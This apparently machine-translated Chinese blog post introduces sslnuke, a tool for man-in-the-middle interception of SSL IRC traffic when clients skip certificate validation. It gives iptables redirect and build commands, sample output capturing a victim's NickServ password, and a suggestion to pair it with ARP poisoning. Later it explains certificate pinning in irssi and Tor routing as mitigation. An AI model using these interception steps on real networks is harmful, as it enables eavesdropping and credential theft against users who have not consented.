我們都反復聽說,沒有驗證的SSL是不安全的,如果沒有使用緩存的證書驗證SSL連接,任何攻擊者都很容易受到攻擊。所以在2013年,人們會認為我們已經完全解决了這個問題。瀏覽器緩存證書,當一個網站提供了一個自我驗證的證書,並且不應該被信任時,瀏覽器廠商會非常大聲地警告用戶,瀏覽器廠商已經很好地解决了這個問題。然而,HTTPS並不是唯一使用sssl的協定。不幸的是,這些其他協定的許多客戶機在默認情况下不進行驗證,即使進行了驗證,也不能保證安全的證書傳輸。畢竟,有多少人願意為他們的FTPS服務器支付50美元購買SSL證書?
使用SSL但很少被驗證的通用協定是IRC。默認情况下,許多IRC客戶機驗證,但大多數用戶將關閉此功能,因為IRC服務器管理員往往不購買合法的SSL證書。一些流行的用戶端甚至在默認情况下關閉ssl驗證(例如IRSSI)。我們已經知道這是不明智的,用戶和IRC服務器之間的任何攻擊者都可以提供一個invalidcertificate並解密用戶的所有流量(可能包括敏感消息)。大多數用戶在連接到anSSL“安全”IRC服務器時甚至不考慮這個事實。
sslnuke的目的是編寫一個用於解密和攔截“安全”IRC流量的工具。已經有很多攔截SSL通信的現有工具,但大多數都是針對HTTP通信的。sslnuke直接瞄準IRC,以說明攔截“安全”通信有多容易。sslnuke的用法很簡單。
用法
首先,為sslnuke添加一個使用者帳戶以運行管道,並添加iptables規則以將流量重定向到它:
# useradd -s /bin/bash -m sslnuke
# grep sslnuke /etc/passwd
sslnuke:x:1000:1000::/home/sslnuke:/bin/bash
# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 1000 -m tcp \
--dport 6697 --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 4444
最後,以sslnuke登入,構建並運行sslnuke:
# su -l sslnuke
# cd sslnuke
# make
# ./sslnuke
運行IRC用戶端並使用SSL登入到您喜愛的IRC網絡,IRC消息將在sslnuke上列印到stdout。
[*] Received connection from: 192.168.0.5:58007
[*] Opening connection to: 1.1.1.1:6697
[*] Connection Using SSL!
[*] irc.com -> AUTH (1.1.1.1): *** Looking up your hostname...
[*] irc.com -> AUTH (1.1.1.1): *** Found your hostname
[*] irc.com -> victim (1.1.1.1): *** You are connected to irc.vps-heaven.com with TLSv1.2-AES256-GCM-SHA384-256bits
[*] 192.168.0.5 -> nickserv (192.168.0.5): id hello
[*] [email protected] -> victim (1.1.1.1): Password accepted - you are now recognized.
sslnuke將自動檢測使用SSL的用戶端並確定是否使用SSL。程式碼也可以很容易地修改以顯示網站密碼或ftp數據,任何使用SSL的東西。要攻擊網絡上的用戶,sslnuke可以與ARP中毒工具一起使用,例如在Blackhat library找到的工具,也可以部署在閘道上。
可以在ascii.io上看到sslnuke的視頻演示。
緩解
接下來是重要的部分,我們如何驗證SSL連接?第一步是通過另一種介質傳輸SSL證書,最好的方法是讓管理員直接給您證書。但是,如果這不可能,openssl可以從服務器下載證書:
# openssl s_client -showcerts -connect irc.com:6697 </dev/null
將證書保存到~/.irssi/ssl/irc.com.crt中。最好在與您的網絡不同的電腦上運行該命令,以防止被截獲。接下來,要配寘IRSSI以使用證書,請保存網絡:
/network add irc
/server add -ssl_cafile ~/.irssi/ssl/irc.com.crt -network irc -port 6697 irc.com
如果IRSSI得到一個無效的證書,它將警告您並立即斷開連接。然而,對於真正的偏執狂,應該使用Tor隱藏服務或VPN。要在Linux上配寘automaticTor隱藏服務重定向,可以運行以下命令:
# echo "VirtualAddrNetwork 10.192.0.0/10" >> /etc/tor/torrc
# echo "AutomapHostsOnResolve 1" >> /etc/tor/torrc
# echo "TransPort 9040" >> /etc/tor/torrc
# echo "DNSPort 5353" >> /etc/tor/torrc
# killall -HUP tor
# iptables -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040
# iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353
# ncat xxxxxxxxxxxxxxx.onion 6667
:irc.com NOTICE AUTH :*** Looking up your hostname...
:irc.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
^C
最終,IRC用戶端應該使用SSH風格的金鑰驗證。第一次連接時,向用戶顯示證書指紋,並強制用戶確認,然後緩存證書。如果下次更改,則不允許連接。
來源
原始程式碼可以在Github上下載。
信用卡
- [email protected]
- 黑帽子圖書館
- 窒息點